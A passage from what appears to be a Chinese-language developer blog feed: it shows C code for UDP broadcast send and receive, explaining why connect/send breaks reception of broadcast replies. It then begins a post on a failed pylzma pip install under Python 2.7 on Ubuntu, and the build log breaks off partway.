</span></span><span class="line"><span class="cl">    <span class="n">WSADATA</span> <span class="n">wsaData</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">response</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">wVersionRequested</span> <span class="o">=</span> <span class="nf">MAKEWORD</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">err</span> <span class="o">=</span> <span class="nf">WSAStartup</span><span class="p">(</span><span class="n">wVersionRequested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">wsaData</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;WSAStartup failed with error: %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">err</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">receive_thread</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">receive_broadcast</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;pthread_create&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">((</span><span class="n">sock</span> <span class="o">=</span> <span class="nf">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_DGRAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;socket&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="nf">htonl</span><span class="p">(</span><span class="n">INADDR_ANY</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="nf">htons</span><span class="p">(</span><span class="mi">3387</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">bind</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;bind&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">setsockopt</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">SO_BROADCAST</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">broadcast_enable</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">broadcast_enable</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;setsockopt(SO_BROADCAST)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">broadcast_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">broadcast_addr</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="n">broadcast_addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">broadcast_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="nf">inet_addr</span><span class="p">(</span><span class="n">BROADCAST_IP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">broadcast_addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="nf">htons</span><span class="p">(</span><span class="n">PORT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nf">connect</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">broadcast_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">broadcast_addr</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;connect&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">sock_ok</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// if (sendto(sock, MESSAGE, strlen(MESSAGE), 0, (struct sockaddr*)&amp;broadcast_addr, sizeof(broadcast_addr)) &lt; 0) {
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="nf">send</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">MESSAGE</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">MESSAGE</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;sendto&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Sent message: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">MESSAGE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>接收数据并回复：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;pthread.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#ifdef _WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;winsock2.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;ws2tcpip.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#define BROADCAST_IP &#34;192.168.10.255&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#define PORT 12345
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MESSAGE &#34;hi, Broadcast!&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">sock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">local_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">addr_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">message_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#ifdef _WIN32
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="n">WORD</span> <span class="n">wVersionRequested</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">WSADATA</span> <span class="n">wsaData</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">response</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">wVersionRequested</span> <span class="o">=</span> <span class="nf">MAKEWORD</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">err</span> <span class="o">=</span> <span class="nf">WSAStartup</span><span class="p">(</span><span class="n">wVersionRequested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">wsaData</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>                           <span class="err">*/</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;WSAStartup failed with error: %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">err</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="k">if</span> <span class="p">((</span><span class="n">sock</span> <span class="o">=</span> <span class="nf">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_DGRAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;socket&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="nf">htonl</span><span class="p">(</span><span class="n">INADDR_ANY</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="nf">htons</span><span class="p">(</span><span class="n">PORT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">bind</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;bind&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">addr_len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">message_len</span> <span class="o">=</span> <span class="nf">recvfrom</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">addr_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">message_len</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;recvfrom&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">buffer</span><span class="p">[</span><span class="n">message_len</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Received message from %s: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">inet_ntoa</span><span class="p">(</span><span class="n">local_addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">),</span> <span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">sendto</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">MESSAGE</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">MESSAGE</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">local_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;sendto&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nf">exit</span><span class="p">(</span><span class="n">EXIT_FAILURE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">close</span><span class="p">(</span><span class="n">sock</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>结果还真复现了问题，网络抓包有回复，但 socket 收不到数据。</p>
<p>udp socket 收发数据可以使用两套接口: sendto recvfrom 和 connect send recv。udp 使用 connect send recv 可以简化一些编程的处理，适用于与对方是固定地址的通信，在目的地址是广播、组播地址，或者是作为服务需要监听数据的时候就不适合使用 connect 的方式。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Ubuntu-20.04 python 2.7 安装 pylzma 失败问题处理</title>
      <link>https://hacperme.com/posts/notes/20240703_python27_pylzma/</link>
      <pubDate>Wed, 03 Jul 2024 02:00:18 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20240703_python27_pylzma/</guid>
      <description>Ubuntu 系统环境下，python 2.7 安装 pylzma。</description>
      <content:encoded><![CDATA[<p>fcm362k sdk 打包 ota 固件的时候，需要用到 python 的 pylzma 模块，使用的是 python 2.7。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">❯ pip install pylzma
</span></span><span class="line"><span class="cl">DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support <span class="k">for</span> Python 2.7 in January 2021. More details about Python <span class="m">2</span> support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support <span class="k">for</span> this functionality.
</span></span><span class="line"><span class="cl">Defaulting to user installation because normal site-packages is not writeable
</span></span><span class="line"><span class="cl">Collecting pylzma
</span></span><span class="line"><span class="cl">  Downloading pylzma-0.5.0.tar.gz <span class="o">(</span>4.2 MB<span class="o">)</span>
</span></span><span class="line"><span class="cl">     <span class="p">|</span>████████████████████████████████<span class="p">|</span> 4.2 MB 6.0 MB/s 
</span></span><span class="line"><span class="cl">Building wheels <span class="k">for</span> collected packages: pylzma
</span></span><span class="line"><span class="cl">  Building wheel <span class="k">for</span> pylzma <span class="o">(</span>setup.py<span class="o">)</span> ... error
</span></span><span class="line"><span class="cl">  ERROR: Command errored out with <span class="nb">exit</span> status 1:
</span></span><span class="line"><span class="cl">   command: /usr/bin/python2.7 -u -c <span class="s1">&#39;import sys, setuptools, tokenize; sys.argv[0] = &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;/tmp/pip-install-wMwVPQ/pylzma/setup.py&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;; __file__=&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;/tmp/pip-install-wMwVPQ/pylzma/setup.py&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;;f=getattr(tokenize, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;open&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;, open)(__file__);code=f.read().replace(&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;\r\n&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;\n&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;);f.close();exec(compile(code, __file__, &#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;exec&#39;</span><span class="s2">&#34;&#39;&#34;</span><span class="s1">&#39;))&#39;</span> bdist_wheel -d /tmp/pip-wheel-2wm2G0
</span></span><span class="line"><span class="cl">       cwd: /tmp/pip-install-wMwVPQ/pylzma/
</span></span><span class="line"><span class="cl">  Complete output <span class="o">(</span><span class="m">27</span> lines<span class="o">)</span>:
</span></span><span class="line"><span class="cl">  running bdist_wheel
</span></span><span class="line"><span class="cl">  running build
</span></span><span class="line"><span class="cl">  running build_py
</span></span><span class="line"><span class="cl">  creating build
</span></span><span class="line"><span class="cl">  creating build/lib.linux-x86_64-2.7
</span></span><span class="line"><span class="cl">  copying py7zlib.py -&gt; build/lib.linux-x86_64-2.7
</span></span><span class="line"><span class="cl">  running build_ext
</span></span><span class="line"><span class="cl">  There is a workaround to now inherit optimization CFLAGS when compiling wheels.
</span></span><span class="line"><span class="cl">  To <span class="nb">enable</span> this, <span class="nb">set</span> APPLY_LP2002043_UBUNTU_CFLAGS_WORKAROUND in your
</span></span><span class="line"><span class="cl">  environment. See LP: https://launchpad.net/bugs/2002043 <span class="k">for</span> further context.
</span></span><span class="line"><span class="cl">  APPLY_LP2002043_UBUNTU_CFLAGS_WORKAROUND not detected.
</span></span><span class="line"><span class="cl">  /tmp/pip-install-wMwVPQ/pylzma/setup.py:107: UnsupportedPlatformWarning: Multithreading is not supported on the platform <span class="s2">&#34;linux2&#34;</span>,
</span></span><span class="line"><span class="cl">  please contact mail@joachim-bauch.de <span class="k">for</span> more informations.
</span></span><span class="line"><span class="cl">    please contact mail@joachim-bauch.de <span class="k">for</span> more informations.<span class="s2">&#34;&#34;&#34; % (sys.platform), UnsupportedPlatformWarning)
</span></span></span><span class="line"><span class="cl"><span class="s2">  building &#39;pylzma&#39; extension
</span></span></span><span class="line"><span class="cl"><span class="s2">  creating build/temp.linux-x86_64-2.7
